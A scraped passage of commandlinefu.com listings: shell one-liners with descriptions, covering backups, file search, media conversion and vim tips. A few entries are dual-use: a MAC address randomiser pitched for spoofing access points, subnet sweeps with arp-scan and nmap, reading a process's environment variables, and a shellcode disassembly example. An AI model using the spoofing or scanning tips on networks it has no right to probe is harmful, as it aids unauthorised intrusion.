vim Colored SVN diff Simple way to achieve a colored SVN diff find -L /path/to/check -type l -delete Find broken symlinks and delete them If you don't want to delete them, but just want to list them, do find -L /path -type l If you want to delete them with confirmation first, do find -L /path -type l -exec rm -i {} + Using the -L flag follows symlinks, so the -type l test only returns true if the link can't be followed, or is a symlink to another broken symlink. ls | curl -F 'sprunge=<-' http://sprunge.us | xclip Run a command, store the output in a pastebin on the internet and place the URL on the xclipboard The URL can then be pasted with a middle click. This is probably useful when trying to explain problems over instant messaging when you don't have some sort of shared desktop. type -all command dusn is aliased to `du -ksc * .[A-Za-z]* | sort -n' Functions: type Find if the command has an alias grep -lir "some text" * find files containing text -l outputs only the file names -i ignores the case -r descends into subdirectories egrep -v "^$|^[[:space:]]*#" /etc/some/file Functions: egrep Show a config file without comments Shows a file without comments (at least those starting by #) - removes empty lines - removes lines starting by # or "some spaces/tabs then #'" Useful when you want to quickly see what you have to customize on a freshly installed application without reading the comments that sometimes are a full 1000 lines documentation :) While posting, I saw this http://www.commandlinefu.com/commands/view/1041/display-contents-of-a-file-wo-any-comments-or-blank-lines But it's dirty and incomplete, to my mind My original goal was to remove lines like "\t*#" but I can't figure out how to do a egrep '\t' on a command-line. Two workarounds if needed: egrep -v 'press control + V then TAB then #' /your/file egrep -v -f some_file /your/file #where some_file contains what you want to exclude, example a really inserted TAB ifstat -nt # ifstat -nt Time eth0 HH:MM:SS KB/s in KB/s out 13:36:15 0.49 6.41 ifstat, part of ifstat package, is a tool for displaying bandwidth and other statistics. The -n option avoid to display header periodically, the -t option put a timestamp at the beginning of the line. Works for me on Debian and CentOS sed 's/\o0/\n/g' /proc/INSERT_PID_HERE/environ Given process ID print its environment variables sudo cat /dev/vcs1 | fold -w 80 Starting up ... Loading, please wait... 19+0 records in 19+0 records out kinit: name_to_dev_t(/dev/disk/by-uuid/8cee77b4-132d-4856-a479-35560ca6ae78) = d ev(8,3) kinit: trying to resume from /dev/disk/by-uuid/8cee77b4-132d-4856-a479-35560ca6a e78 kinit: No resume image, doing normal boot... Ubuntu jaunty (development branch) gir tty1 gir login: Functions: cat fold sudo view the system console remotely This will view the console and assumes the screen is 80 characters wide. Use /dev/vcs2 for the next virtual console.. etc. sudo killall -9 pulseaudio; pulseaudio >/dev/null 2>&1 & Functions: killall sudo Fix Ubuntu's Broken Sound Server Ever since the switch to pulseaudio, Ubuntu users including myself have found themselves with no sound intermittently. To fix this, just use this command and restarts firefox or mplayer or whatever. curl -u username -o bookmarks.xml https://api.del.icio.us/v1/posts/all diff <(ssh alice cat /etc/apt/sources.list) <(ssh bob cat /etc/apt/sources.list) base64 -d <<< aHR0cDovL3d3dy50d2l0dGVyc2hlZXAuY29tL3Jlc3VsdHMucGhwP3U9Y29tbWFuZGxpbmVmdQo= I hate `echo X | Y` apart from not being generalisable to all shells, `Y <<< X` seems nicer to me than `echo X | Y`, e.g. <<< lol cat; it reads easier, you type less, and it also looks cool convert -colors 256 -resize 16x16 face.jpg face.ppm && ppmtowinicon -output favicon.ico face.ppm Create a favicon Create a favicon suitable for use on your web site. Note: ppmtowinicon is part of libpbm, not ImageMagick. echo 'wget url' | at 01:00 Schedule a download at a later time Replace "url" with the correct address of what your're downloading. Replace 01:00 with what time you want. (24-hour clock). convert -font -misc-fixed-*-*-*-*-*-*-*-*-*-*-*-* -fill black -draw "text 270,260 \" `cal` \"" testpic.jpg newtestpic.jpg Add calendar to desktop wallpaper Add calendar to desktop wallpaper , mess with the coordinates to place where you like mkdir -p doc/{text/,img/{wallpaper/,photos/}} create dir tree create tree of dir's in one command sudo dmidecode --type 17 | more # dmidecode 2.9 SMBIOS 2.4 present. Handle 0x0018, DMI type 17, 27 bytes Memory Device Handle 0x001A, DMI type 17, 27 bytes Check Ram Speed and Type in Linux from http://maysayadkaba.blogspot.com/2008/08/linux-check-ram-speed-and-type.html firefox -no-remote -P Run the Firefox Profile Manager even when another instance is already open. Great for testing purposes when you need to be 2 people at once on the same site. ‹ First < 16 17 18 19 20 > Last › tail -1000 /some/file | vim - Functions: tail vim Pipe STDOUT to vim The hyphen tells vim to open from STDOUT - saves having to create temporary files. ffmpeg -i video.avi -f mp3 audio.mp3 Extract audio from a video ssh user@host 'mysqldump dbname | gzip' > /path/to/backups/db-backup-`date +%Y-%m-%d`.sql.gz Backup a remote database to your local filesystem I have this on a daily cronjob to backup the commandlinefu.com database from NearlyFreeSpeech.net (awesome hosts by the way) to my local drive. Note that (on my Ubuntu system at least) you need to escape the % signs on the crontab. sudo dmidecode | grep Serial\ Number | head -n1 Serial Number: XXXXXXX Functions: grep head sudo Get Dell Service Tag Number from a Dell Machine This will give you the Dell Service tag number associated with your machine. Incredibly useful when you need that number for tech support or downloads. rsync --partial --progress --rsh=ssh SOURCE DESTINATION scp file user@somehost:/path ... aborted scpresume file user@somehost:/path ... resume from where we left off before Resume aborted scp file transfers Put it into your sh startup script (I use alias scpresume='rsync --partial --progress --rsh=ssh' in bash). When a file transfer via scp has aborted, just use scpresume instead of scp and rsync will copy only the parts of the file that haven't yet been transmitted. MAC=`(date; cat /proc/interrupts) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'` 00:12:2F:22:32:16 Functions: cat md5sum sed Generat a Random MAC address Original author unknown (I believe off of a wifi hacking forum). Used in conjuction with ifconfig and cron.. can be handy (especially spoofing AP's) fuser -v 80/tcp Show what PID is listening on port 80 on Linux lsmod | awk 'BEGIN{print "digraph{"}{split($4, a, ","); for (i in a) print $1, "->", a[i]}END{print "}"}'|display Functions: awk lsmod parse "lsmod" output to "dot" format and pass it to "display". Without perl! getent services <<service>> $ getent services 80 $ getent services mail $ getent services domain Functions: getent Query well known ports list Uses the file located in /etc/services diffxml() { diff -wb <(xmllint --format "$1") <(xmllint --format "$2"); } Usage: diffxml XMLFile1 XMLFile2 manswitch () { man $1 | less -p "^ +$2"; } Functions: less man What is the use of this switch ? e.g. manswitch grep -o This will take you to the relevant part of the man page, so you can see the description of the switch underneath. find . -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort Find the most recently changed files (recursively) compgen -c | sort -u > commands Functions: sort Save the list of all available commands in your box to a file When you press TAB twice in your prompt, bash tells you something like "Display all 4567 possibilities? (y or n)" But when you press "y" you only get the list in the terminal output and, if you want to save it to a file, you have to copy it by hand from the vterm screen. With this utility you save the list to a file or pipe it to another command at will You can use the file saved list to grep for a particular pattern, useful if you are searching for a command but you only remember a few letters watch vmstat -sSM Functions: vmstat watch monitor memory usage sync && echo 1 > /proc/sys/vm/drop_caches free -t before: after: Functions: echo sync clean up memory of unnecessary things (Kernerl 2.6.16 or newer) run sync first to flush useful things out to disk!!! To free pagecache: echo 1 > /proc/sys/vm/drop_caches To free dentries and inodes: echo 2 > /proc/sys/vm/drop_caches To free pagecache, dentries and inodes: echo 3 > /proc/sys/vm/drop_caches cmp file1 file2 Functions: cmp Compare copies of a file with md5 curl --user login:password -o DeliciousBookmarks.xml -O 'https://api.del.icio.us/v1/posts/all' % Total % Received % Xferd Average Speed Time Time Time Current 100 930k 0 930k 0 0 15207 0 --:--:-- 0:01:02 --:--:-- 25322 backup delicious bookmarks Useful script to backup all your delicious bookmarks. With decilicious shutting down soon , it could be useful du -hs */ | sort -hr | head List 10 largest directories in current directory !$ vi /var/www/vhosts/log/apache2/etc/httpd.conf cp !$ . Reuse last parameter Reuse the last parameter of the previous command line check(){ curl -sI $1 | sed -n 's/Location: *//p';} See where a shortened url takes you before click yt () mplayer -fs -quiet $(youtube-dl -g "$1") 20:33:16 Wed 29 [~] elfreak : pts/6 on machine $ yt "http://www.youtube.com/watch?v=1ZvCqslpp6M" MPlayer SVN-r31774-4.5.0 (C) 2000-2010 MPlayer Team 158 audio & 340 video codecs Playing http://www.youtube.com/get_video?video_id=1ZvCqslpp6M&t=vjVQa1PpcFOoqGwpVRIy9cfN57JrQuZ8rvLNfyXM5lQ=&eurl=&el=&ps=&asv=&fmt=22. Resolving www.youtube.com for AF_INET6... Couldn't resolve name for AF_INET6: www.youtube.com Resolving www.youtube.com for AF_INET... Connecting to server www.youtube.com[74.125.77.190]: 80... Resolving v17.lscache8.c.youtube.com for AF_INET6... Couldn't resolve name for AF_INET6: v17.lscache8.c.youtube.com Resolving v17.lscache8.c.youtube.com for AF_INET... Connecting to server v17.lscache8.c.youtube.com[74.125.8.82]: 80... Resolving r17.ams04s02.c.youtube.com for AF_INET6... Couldn't resolve name for AF_INET6: r17.ams04s02.c.youtube.com Resolving r17.ams04s02.c.youtube.com for AF_INET... Connecting to server r17.ams04s02.c.youtube.com[74.125.8.96]: 80... Cache fill: 0.00% (0 bytes) [lavf] stream 0: audio (aac), -aid 0, -alang und [lavf] stream 1: video (h264), -vid 0 VIDEO: [H264] 1280x720 24bpp 29.917 fps 1105.0 kbps (134.9 kbyte/s) major_brand: mp42 minor_version: 0 compatible_brands: isomavc1mp42 Opening audio decoder: [faad] AAC (MPEG2/4 Advanced Audio Coding) AUDIO: 44100 Hz, 2 ch, s16le, 125.6 kbit/8.90% (ratio: 15697->176400) Selected audio codec: [faad] afm: faad (FAAD AAC (MPEG-2/MPEG-4 Audio)) AO: [alsa] 48000Hz 2ch s16le (2 bytes per sample) VO: [xv] 1280x720 => 1280x720 Planar YV12 [fs] [ASPECT] Warning: No suitable new res found! Exiting... (Quit) Stream YouTube URL directly to MPlayer A function for streaming youtube to mplayer. The option "-g" for youtube-dl tells it to output the direct video URL, instead of downloading the video. "-fs" tells MPlayer to go FullScreen, and "-quit" makes it less verbose. Requires: youdube-dl ( http://bitbucket.org/rg3/youtube-dl/ ) (Tested in zsh) echo "uptime" | tee >(ssh host1) >(ssh host2) >(ssh host3) Functions: echo ssh tee sed -n '4{p;q}' Print just line 4 from a textfile Prints the 4th line and then quits. (Credit goes to flatcap in comments: http://www.commandlinefu.com/commands/view/6031/print-just-line-4-from-a-textfile#comment.) sudo arp-scan -I eth0 192.168.1.0/24 Find all active ip's in a subnet pkill -x firefox kill process by name Or even easier, if it's available: killall firefox I have no idea why you would want to rely on two unusual dependencies to do something that can be done a hundred ways from coreutils... ‹ First < 17 18 19 20 21 > Last › for file in *.flac; do flac -cd "$file" | lame -q 0 --vbr-new -V 0 - "${file%.flac}.mp3"; done Convert all Flac in a directory to Mp3 using maximum quality variable bitrate printf "%`tput cols`s"|tr ' ' '#' Functions: printf tr Print a row of characters across the terminal shorter than alternative wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;" Functions: grep sed wget Working random fact generator Though without infinite time and knowledge of how the site will be designed in the future this may stop working, it still will serve as a simple straight forward starting point. This uses the observation that the only item marked as strong on the page is the single logical line that includes the italicized fact. If future revisions of the page show failure, or intermittent failure, one may simply alter the above to read. wget randomfunfacts.com -O - 2>/dev/null | tee lastfact | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;" The file lastfact, can then be examined whenever the command fails. export PS1="C:\$( pwd | sed 's:/:\\\\\\:g' )\\> " C:\usr\share\man\> Change prompt to MS-DOS one (joke) tar jcpf - [sourceDirs] |ssh user@host "cat > /path/to/backup/backupfile.tar.bz2" [nothing] Functions: ssh tar Remote backups with tar over ssh Execute it from the source host, where the source files you wish backup resides. With the minus '-' the tar command deliver the compressed output to the standar output and, trough over the ssh session to the remote host. On the other hand the backup host will be receive the stream and read it from the standar input sending it to the /path/to/backup/backupfile.tar.bz2 mkisofs -J -allow-lowercase -R -V "OpenCD8806" -iso-level 4 -o OpenCD.iso ~/OpenCD Functions: mkisofs Make ISO image of a folder Create ISO image of a folder in Linux. You can assign label to ISO image and mount correctly with -allow-lowercase option. <ALT> . wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame -| mpg123 - torrid@siebot ~ $ wget -q -O - `youtube-dl -b -g http://www.youtube.com/watch?v=OKRJfIPiJGY`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame - 2>/dev/null | mpg123 - High Performance MPEG 1.0/2.0/2.5 Audio Player for Layers 1, 2 and 3 Playing MPEG stream 1 of 1: - ... MPEG 1.0 layer III, 64 kbit/s, 44100 Hz joint-stereo Functions: mpg123 wget Play music from youtube without download sitepass() { echo -n "$@" | md5sum | sha1sum | sha224sum | sha256sum | sha384sum | sha512sum | gzip - | strings -n 1 | tr -d "[:space:]" | tr -s '[:print:]' | tr '!-~' 'P-~!-O' | rev | cut -b 2-11; history -d $(($HISTCMD-1)); } $ sitepass iHeartLinux commandlinefu.com ^Uk+j{,jl~ Functions: cut echo gzip md5sum rev sha1sum strings tr generate a unique and secure password for every website that you login to usage: sitepass MaStErPaSsWoRd example.com description: An admittedly excessive amount of hashing, but this will give you a pretty secure password, It also eliminates repeated characters and deletes itself from your command history. tr '!-~' 'P-~!-O' # this bit is rot47, kinda like rot13 but more nerdy rev # this avoids the first few bytes of gzip payload, and the magic bytes. su -- user [root@localhost local]# pwd /usr/local [root@localhost local]# su -- user [user@localhost local]$ pwd [user@localhost local]$ Functions: su Change user, assume environment, stay in current dir I've used this a number of times troubleshooting user permissions. Instead of just 'su - user' you can throw another hyphen and stay in the original directory. arp-scan -l Interface: eth0, datalink type: EN10MB (Ethernet) Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/) ----- Clipped --- 26 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.6: 256 hosts scanned in 1.459 seconds (175.46 hosts/sec). 26 responded Functions: arp find all active IP addresses in a network Have to run as superuser... but easier and more informational if you are looking for actual devices. Need to install arp-scan. URL="http://www.google.com";curl -L --w "$URL\nDNS %{time_namelookup}s conn %{time_connect}s time %{time_total}s\nSpeed %{speed_download}bps Size %{size_download}bytes\n" -o/dev/null -s $URL http://www.google.com DNS 0,001s conn 0,044s tps 0,276s Speed 19860,000bps Size 5491bytes How fast is the connexion to a URL, some stats from curl bash-hotkey: <CTRL+x+e> bash: hotkey to put current commandline to text-editor * in bash-shell You can capture the current commandline to a text-editor: * simply press: CTRL+x+e * Your current commandline will pe put into Your default text-editor (export EDITOR=vim) find . -empty -type d -exec rmdir {} + Functions: find rmdir find and delete empty dirs, start in current working dir A quick way to find and delete empty dirs, it starts in the current working directory. If you do find . -empty -type d you will see what could be removed, or to a test run. svn ls -R | egrep -v -e "\/$" | xargs svn blame | awk '{print $2}' | sort | uniq -c | sort -r Functions: awk egrep ls sort uniq xargs Prints total line count contribution per user for an SVN repository I'm working in a group project currently and annoyed at the lack of output by my teammates. Wanting hard metrics of how awesome I am and how awesome they aren't, I wrote this command up. It will print a full repository listing of all files, remove the directories which confuse blame, run svn blame on each individual file, and tally the resulting line counts. It seems quite slow, depending on your repository location, because blame must hit the server for each individual file. You can remove the -R on the first part to print out the tallies for just the current directory. List programs with open ports and connections I prefer to use this and not the -n variety, so I get DNS-resolved hostnames. Nice when I'm trying to figure out who's got that port open. screen -x Share a 'screen'-session Ater person A starts his screen-session with `screen`, person B can attach to the srceen of person A with `screen -x`. Good to know, if you need or give support from/to others. screen -d -m [<command>] Start screen in detached mode Start screen in detached mode, i.e., already running on background. The command is optional, but what is the purpose on start a blank screen process that way? It's useful when invoking from a script (I manage to run many wget downloads in parallel, for example). hwinfo --block --short disk: /dev/sda USB-Stick /dev/cloop0 Disk /dev/hda HARDDISK partition: /dev/sda1 Partition /dev/hda1 Partition /dev/hda2 Partition cdrom: /dev/hdc CD-ROM floppy: /dev/fd0 Floppy Disk Show all detected mountable Drives/Partitions/BlockDevices Yields entries in the form of "/dev/hda1" etc. Use this if you are on a new system and don't know how the storage hardware (ide, sata, scsi, usb - with ever changing descriptors) is connected and which partitions are available. Far better than using "fdisk -l" on guessed device descriptors. watch -n 1 "netstat -tpanl | grep ESTABLISHED" Monitor TCP opened connections curl dict://dict.org/d:something 220 miranda.org dictd 1.9.15/rf on Linux 2.6.26-bpo.1-686 <auth.mime> <4090703.26301.1239385915@miranda.org> 250 ok 150 2 definitions retrieved 151 "Something" gcide "The Collaborative International Dictionary of English v.0.48" Something \Some"thing\, n. 1. Anything unknown, undetermined, or not specifically Look up the definition of a word A bash function might also be useful: dict() { curl dict://dict.org/d:$1; } Or if you want less verbose output: dict() { curl -s dict://dict.org/d:$1 | perl -ne 's/\r//; last if /^\.$/; print if /^151/../^250/'; } Ctrl+S Ctrl+Q Ctrl+S Ctrl+Q terminal output lock and unlock These are simple shortcuts to pause and continue terminal output, works in most terminals and screen multiplexers like screen. You can use it to catch something if things change too fast, and scroll with Shift + PgUp PgDown. On linux console ScrollLock can also be used. xvkbd -xsendevent -text "Hello world" Send keypresses to an X application This is a (last resort) way to automate applications that provide no other ways for automation, it would send 'Hello world' to the currently active window. See the manpage (and the -text and -window entries) for how to send special characters and target specific windows. An example: Using xwininfo, I get the id of my XPlanet background window: alanceil@kvirasim:19:51:0:~> xwininfo xwininfo: Please select the window about which you would like information by clicking the mouse in that window. xwininfo: Window id: 0x3600001 "Xplanet 1.2.0" Absolute upper-left X: 0 (..etc..) Now I use xvkbd to tell it to close itself: xvkbd -xsendevent -window 0x3600001 -text "Q" Obviously, the best way is to put these commands in a shellscript - just make sure to include a short sleep (sleep .1 should suffice) after each xvkbd call, or some programs will become confused. ssh -fX <user>@<host> <program> Run any GUI program remotely ssh -X example.org xeyes The SSH server configuration requires: X11Forwarding yes # this is default in Debian And it's convenient too: Compression delayed sudo dd if=/dev/sda of=/media/disk/backup/sda.backup Functions: dd sudo Backup your hard drive with dd This will create an exact duplicate image of your hard drive that you can then restore by simply reversing the "if" & "of" locations. sudo dd if=/media/disk/backup/sda.backup of=/dev/sda Alternatively, you can use an SSH connection to do your backups: dd if=/dev/sda | ssh user@ssh.server.com dd of=~/backup/sda.backup ‹ First < 18 19 20 21 22 > Last › sort -nt . -k 1,1 -k 2,2 -k 3,3 -k 4,4 sort -nt . -k 1,1 -k 2,2 -k 3 -k 4 /tmp/j 2.159.416.20 3.4.160.100 3.40.64.100 3.59.146.22 3.159.144.22 3.195.144.22 10.159.164.22 Sort dotted quads Sort a list of IPV4 addresses in numerical order. Great as a filter, or within vim using !} :r !command Read the output of a command into the buffer in vim This will append the output of "command" to whatever file you're currently editing in vim. Who else has good vim tricks? :) last | grep -v "^$" | awk '{ print $1 }' | sort -nr | uniq -c 1 wtmp Functions: awk grep last sort uniq Quick glance at who's been using your system recently This command takes the output of the 'last' command, removes empty lines, gets just the first field ($USERNAME), sort the $USERNAMES in reverse order and then gives a summary count of unique matches. nmap -sP 192.168.1.100-254 ping a range of IP addresses nmap accepts a wide variety of addressing notation, multiple targets/ranges, etc. fuser [portnumber]/[proto] find process associated with a port fuser 25/tcp (see which pid is listening on smtp) echo $((0x1fe)) $((033)) 510 27 convert from hexidecimal or octal to decimal Bash can accept '0x' and '0' notation for hexidecimal and octal numbers, so you just have to output the values. awk '{gsub("foo","bar",$5)}1' file Target a specific column for pattern substitution Awk replaces every instance of foo with bar in the 5th column only. shopt -s histverify $ date Thu Oct 27 11:25:51 EST 2011 $ !! #COMMAND EXECUTED INSTANTLY date Thu Oct 27 11:25:54 EST 2011 $ shopt -s histverify Thu Oct 27 11:26:05 EST 2011 $ !! $ date #COMMAND WAITING TO BE VERIFIED/EDITED. PRESS ENTER WHEN DONE. Verify/edit bash history command before executing it Bash history commands are those that begin with the character ! (eg. the most popular 'sudo !!' Explained here => http://www.commandlinefu.com/commands/view/13). By default bash immediately executes the history command. Setting this shell option will make bash first allow you to verify/edit an history command before executing it. To set this option permanently, put this command in ~/.profile or ~/.bashrc file. To unset this option issue following command. shopt -u histverify convert -resize '1024x600^' image.jpg small-image.jpg Resize an image to at least a specific resolution This command will resize an image (keeping the aspect ratio) to a specific resolution, meaning the resulting image will never be smaller than this resolution. For example, if we have a 2048x1000 image, the output would be 1229x600, not 1024x600 or 1024x500. Same thing for the height, if the image is 2000x1200, the output would be 1024x614. !ssh:p ssh root@192.168.71.156 -X Print without executing the last command that starts with... It happens that sometime you remember that you used a special command short time before and you want to check the command again. WIth this command you can just put the beginning of a command and then bash will look for you and it will print back safely withou executing oowriter -pt pdf your_word_file.doc Create .pdf from .doc sudo apt-get install cups-pdf sleep 3s && espeak "wake up, you bastard" 2>/dev/null Timer with sound alarm I'd prefer this one, you have to install espeak to get this running c() printf "\33[2J" clear screen, keep prompt at eye-level (faster than clear(1), tput cl, etc.) this leaves the cursor at the bottom of the terminal screen, where your eyes are. ctrl-l moves it to the top, forcing you to look up. anticipated question/argument: how is it faster than an external command such as tput? answer: if printf is a shell builtin and you haven't already run the external program, placing it in memory, then... executing a program from memory (printf) is faster than executing a program from disk (tput). the second time you run tput, it's probably running from memory. but the first time, it's running from the media where your os is stored. and accessing that media is slower than accessing memory. and finally, as far as i know you do not need braces for a single command shell function. POSIX allows this. if this one-liner doesn't work in your shell because of no braces, then let's hear what shell you're using. down4me() { wget -qO - "http://www.downforeveryoneorjustme.com/$1" | sed '/just you/!d;s/<[^>]*>//g' ; } Check if a site is down with downforeveryoneorjustme.com gdb -batch -ex "run" -ex "bt" ${my_program} 2>&1 | grep -v ^"No stack."$ Should be identical to what ${my_program} normally generates, unless ${my_program} crashes, in which case it ends with a stack trace. Functions: gdb grep Run a program transparently, but print a stack trace if it fails For automated unit tests I wanted my program to run normally, but if it crashed, to add a stack trace to the output log. I came up with this command so I wouldn't have to mess around with core files. The one downside is that it does smoosh your program's stderr and stdout together. rename 's/\.jpe?g$/.jpg/i' * Rename all .jpeg and .JPG files to .jpg the "i" controls case sensitiveness. It's slightly inefficient since it uselessly renames .jpg to .jpg, but that's more than compensated by launching only one process instead of two, besides being shorter to write. echo $(openssl rand 4 | od -DAn) Functions: echo od Random unsigned integer Get My Public IP Address wtf is <acronym> wtf is wtf WTF: {what,when,where,who,why} the fuck wtf is iirc IIRC: if I recall correctly wtf is rofl ROFL: rolling on floor laughing wtf is rtfm RTFM: read the fine/fucking manual translates acronyms for you very handy if you are in irc and absolutely don't know what these guys are talking about. this is a netbsd command, if you are lucky it exists in your distro's package database. sudo dd if=/dev/sdc bs=4096 | pv -s 2G | sudo dd bs=4096 of=~/USB_BLACK_BACKUP.IMG 1.87GB 0:01:50 [17.3MB/s] [===============================> ] 93% 489472+0 records in 489472+0 records out 2004877312 bytes (2.0 GB) copied, 108.597 s, 18.5 MB/s 3915776+0 records in 3915776+0 records out 2004877312 bytes (2.0 GB) copied, 110.757 s, 18.1 MB/s dd with progress bar and statistics This command utilizes 'pv' to show dd's progress. Notes on use with dd: -- dd block size (bs=...) is a widely debated command-line switch and should usually be between 1024 and 4096. You won't see much performance improvements beyond 4096, but regardless of the block size, dd will transfer every bit of data. -- pv's switch, '-s' should be as close to the size of the data source as possible. -- dd's out file, 'of=...' can be anything as the data within that file are the same regardless of the filename / extension. echo -ne "<shellcode>" | x86dis -e 0 -s intel echo -ne "\x31\xC0\xB0\x01\x31\xDB\xCD\x80" | x86dis -e 0 -s intel 00000000 31 C0 xor eax, eax 00000002 B0 01 mov al, 0x01 00000004 31 DB xor ebx, ebx 00000006 CD 80 int 0x80 This one liner takes the shell code that you can grab off of the web and disassemble it into readable assembly so you can validate the code does what it says, before using it. The shell code in the above example is from http://www.shell-storm.org/shellcode/files/shellcode-623.php You can replace "-s intel" with "-s att" to get AT&T format disassembly. export FIGNORE=.svn ignore the .svn directory in filename completion When browsing java source code (for example) it's really annoying having to type the first letter of the package when there is only one package in the subdir. man bash for more info about FIGNORE dd bs=1k if=image.nrg of=image.iso skip=300 Convert a Nero Image File to ISO This line removes the 300k header from a Nero image file converting it to ISO format pronounce(){ wget -qO- $(wget -qO- "http://dictionary.reference.com/browse/$@" | grep 'soundUrl' | head -n 1 | sed 's|.*soundUrl=\([^&]*\)&.*|\1|' | sed 's/%3A/:/g;s/%2F/\//g') | mpg123 -; } Functions: grep head mpg123 sed wget Pronounce an English word using Dictionary.com This one uses dictionary.com grepp() { [ $# -eq 1 ] && perl -00ne "print if /$1/i" || perl -00ne "print if /$1/i" < "$2";} man perl | grepp Pascal Grep by paragraph instead of by line. This is a command that I find myself using all the time. It works like regular grep, but returns the paragraph containing the search pattern instead of just the line. It operates on files or standard input. grepp <PATTERN> <FILE> <SOMECOMMAND> | grepp <PATTERN> ‹ First < 19 20 21 22 23 > Last › pv /dev/zero|ssh $host 'cat > /dev/null' 136MB 0:00:22 [5.71MB/s] [ <=> ] ^W-L Vim: Switch from Horizontal split to Vertical split This allows to switch from horizontal to vertical split, putting the current buffer on the right side of the vertical split. To put it on the right use ^W-H. In a similar way, to switch from Vertical to Horizontal, do ^W-J (for bottom) and ^W-K (for top), but you vimers all guessed that one already :P stty sane Functions: stty Clean your broken terminal When some console full-screen program (minicom, vi, some installers) breaks down your terminal, try this command to revert all options to "sane" settings (sane is a built-in combo of a lot of stty options) curl -s "http://www.geody.com/geoip.php?ip=$(curl -s icanhazip.com)" | sed '/^IP:/!d;s/<[^>][^>]*>//g' IP: ***.***.*.** Location: new delhi, DELHI, India (BHARTI INFOTEL LTD.) geoip information Not my script. Belongs to mathewbauer. Used without his permission. This script gives a single line as shown in the sample output. NOTE: I have blanked out the IP address for obvious security reasons. But you will get whatever is your IP if you run the script. Tested working in bash. grep 'test' somefile | grep -vE '(error|critical|warning)' grep -v with multiple patterns. Use multiple patterns with grep -v. So you can print all lines in a file except those containing the multiple patterns you specify. dd if=/dev/sda | ssh user@server 'dd of=sda.img' Backup a local drive into a file on the remote host via ssh find /proc -user myuser -maxdepth 1 -type d -mtime +7 -exec basename {} \; | xargs kill -9 Functions: basename find kill xargs Kill processes that have been running for more than a week <Shift + W> Save current layout of top 'top' has fancy layout modes where you can have several windows with different things displayed. You can configure a layout and then save it with 'W'. It will then be restored every time you run top. E.g. to have two colored windows, one sorted by CPU usage, the other by memory usage, run top top then press the keys <A> <z> <a> <-> <a> <z> <a> <-> <a> and then as you don?t want to repeat this the next time: <W> hdparm -t /dev/sda Functions: hdparm Testing hard disk reading speed rename -v 's/ /_/g' * Replace spaces in filenames with underscores rsync -az /home/user/test user@sshServer:/tmp/ move a lot of files over ssh copy files to a ssh server with gzip compression id="dMH0bHeiRNg";mplayer -fs http://youtube.com/get_video.php?video_id=$id\&t=$(curl -s http://www.youtube.com/watch?v=$id | sed -n 's/.*, "t": "\([^"]*\)", .*/\1/p') Functions: id sed Stream YouTube URL directly to mplayer The original doesn't work for me - but this does. I'm guessing that Youtube updated the video page so the original doesn't work. ifconfig -a | perl -nle'/(\d+\.\d+\.\d+\.\d+)/ && print $1' 10.200.10.147 127.0.0.1 Functions: ifconfig perl Get all IPs via ifconfig works on Linux and Solaris. I think it will work on nearly all *nix-es for x in `jot - 0 2400 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > commandlinefu.txt $ for x in `jot - 0 2400 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > commandlinefu.txt # Serve current directory tree at http://$HOSTNAME:8000/ python -m SimpleHTTPServer # change to the previous working directory cd - # Save a file you edited in vim without the needed permissions :w !sudo tee % # Runs previous command but replacing ^foo^bar . Get all these commands in a text file with description. I tried out on my Mac, jot to generate sequence ( 0,25,50,..), you can use 'seq' if it is linux to generate numbers, need curl installed on the machine, then it rocks. @Satya tail -F file Functions: tail If you use 'tail -f foo.txt' and it becomes temporarily moved/deleted (ie: log rolls over) then tail will not pick up on the new foo.txt and simply waits with no output. 'tail -F' allows you to follow the file by it's name, rather than a descriptor. If foo.txt disappears, tail will wait until the filename appears again and then continues tailing. man ls | col -b > ~/Desktop/man_ls.txt Functions: col ls man Convert "man page" to text file You can convert any UNIX man page to .txt for k in `git branch|perl -pe s/^..//`;do echo -e `git show --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k|head -n 1`\\t$k;done|sort -r 2009-06-03 12:21:35 +0900 3 hours ago add_cool_functionality 2009-06-02 16:15:13 +0900 24 hours ago remove_strange_bug 2009-06-02 16:12:20 +0900 24 hours ago implement_observer 2009-06-02 14:42:58 +0900 25 hours ago experiment_with_bobcat_feature Functions: echo head perl sort Show git branches by date - useful for showing active branches Print out list of all branches with last commit date to the branch, including relative time since commit and color coding. who -b system boot May 10 03:33 Functions: who Find last reboot time for f in *.flv; do ffmpeg -y -i "$f" -f image2 -ss 10 -vframes 1 -an "${f%.flv}.jpg"; done for all flv files in a dir, grab the first frame and make a jpg. This is handy for making screenshots of all your videos for referring to in your flv player. while true; do [ "$(ping -c1W1w1 server-or-ip.com | awk '/received/ {print $4}')" != 1 ] && beep; sleep 1; done beep when a server goes offline pings a server once per second, and beeps when the server is unreachable. Basically the opposite of: ping -a server-or-ip.com which would beep when a server IS reachable. You could also substitute beep with any command, which makes this a powerful alternative to ping -a: while true; do [ "$(ping -c1W1w1 server-or-ip.com 2>/dev/null | awk '/received/ {print $4}')" = 1 ] && date || echo 'server is down!'; sleep 1; done which would output the date and time every sec until the ping failed, in which case it would echo. Requires beep package. May need to run as root (beep uses the system speaker) Tested on Ubuntu which doesn't have beep out of the box... sudo apt-get install beep netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n 20 81.49.60.x 21 116.212.111.x 26 65.184.224.x 31 189.61.36.x 84 89.180.3.x 212 127.0.0.1 Functions: awk cut netstat sort uniq Number of open connections per ip. Here is a command line to run on your server if you think your server is under attack. It prints our a list of open connections to your server and sorts them by amount. BSD Version: netstat -na |awk '{print $5}' |cut -d "." -f1,2,3,4 |sort |uniq -c |sort -nr !}sort a b c from within vi, pipe a chunk of lines to a command line and replace the chunk with the result The vi key sequence !}command will send the file contents from the cursor to the next blank line as STDOUT to the command specified and replace that sequence of file lines with the output of the command. For example: sorting a block of data - !}sort The sequence !{command will do the same but "upwards" (from the 